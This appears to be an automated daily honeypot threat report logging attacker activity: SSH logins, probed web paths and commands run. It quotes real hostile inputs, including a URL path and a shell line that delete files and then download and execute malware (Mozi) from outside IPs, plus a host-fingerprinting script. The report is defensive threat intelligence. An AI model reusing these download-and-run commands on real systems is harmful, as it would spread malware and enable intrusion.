Saturday, 25 July 2026 💀 critical

Daily Threat Report

1,364 SSH Connections

814 Login Attempts

550 Commands Run

38 SSH Unique IPs

5,262 Protocol Events

119 Protocol IPs

54 Web Hits

22 Web Service IPs

1 Reverse Scans

1 Scan Hits

Top Attacker IPs

Top Passwords Tried

4813494d137e1631
8d969eef6ecad3c2

🌐 WEB HONEYPOT — HoneyAI HTTP

AI-generated fake HTTP responses served to 54 scanner requests from 22 unique IPs (local, offline).

Top Paths Probed

/
/SDK/webLanguage
/login
/board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://59.96.141.196:55546/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
/zc?action=getInfo

Top User-Agents

Go-http-client/1.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)
Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)
Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1

💥 OPERATION SPINE — Reverse Port Scanning

Active defense back-profiling: HoneyAI executed **1** reverse port-scans against active attacker IPs. Out of these, **1** hosts were found with open services.

Discovered Open Ports on Attackers

🌐103.203.58.3 Scanned at 20:08

# Automatic multi-platform threat intel reporting
$ honeypot-report.sh --since 24h
→ 5 IPs → AbuseIPDB  (community confidence scores updated)
→ 5 IPs → AlienVault OTX  (pulse indicators added)
→ 5 IPs → Blocklist.de  (auto-ban list updated)
→ 5 IPs → DShield/SANS  (global threat feed updated)

🤣 ATTACKER COMEDY CORNER

Real attempts. No actors were harmed in the making of this honeypot.

🔑 Hall of Shame — Passwords

8d969eef6ecad3c2

4813494d137e1631

💻 Commands They Tried

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq)

arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq)

uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)

cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null)

cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )

gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )

last_output=$(last 2>/dev/null)

filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )

echo $_dqUNAME:$uname$_dq

echo $_dqARCH:$arch$_dq

echo $_dqUPTIME:$uptime$_dq

echo $_dqCPUS:$cpus$_dq

echo $_dqCPU_MODEL:$cpu_model$_dq

echo $_dqGPU:$gpu_info$_dq

echo $_dqLAST:$last_output$_dq

echo $_dqFILTER:$filter_output$_dq

wget http://5.182.210.61/ok -O /tmp/ok; curl http://5.182.210.61/ok -o /tmp/ok; chmod 777 /tmp/ok; sh /tmp/ok; rm -rf /tmp/ok; rm -rf /tmp/ok.1

nvidia-smi -q | grep $_dqProduct Name$_dq | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'

nvidia-smi -q | grep $_dqProduct Name$_dq | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c

locate D877F783D5D3EF8Cs

These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.

Automated report for 25 de julio de 2026. Recorded 1364 SSH connections and 5262 multi-protocol decoy events on HoneyAI, from 157 unique IPs. 5 IPs were automatically reported to the AbuseIPDB community database.

SSH Activity (HoneyAI)

The SSH service received 814 login attempts from 38 unique IPs. Attackers executed 550 commands after gaining simulated system access.

Multi-Protocol Decoys (HoneyAI)

Detected 5262 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 119 distinct IPs. All events are access attempts against simulated production services.

HTTP Web Service (HoneyAI)

The web service received 54 HTTP requests from real scanners across 22 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).

MCP Agent Trap

The MCP decoy server received 3 requests from 3 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.

MSSQL / SNMP Honeypots

The MSSQL decoy received 2647 authentication events from 1 IPs. The SNMP trap received 26 queries from 17 IPs probing community strings and OIDs.

Portscan Detection

Detected 0 incoming port scan events from 0 unique IPs.

AI Defense Stats

Blocked 0 prompt injection attempts and 0 identity leak attempts.

Active Defense (Operation Spine)

HoneyAI performed 1 reverse port scans back to active attacker IPs. Out of these, 1 hosts were found running open public services, allowing backfire profiling.

Network IDS (Suricata)

The network intrusion detection system generated 10272 alerts from 536 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.

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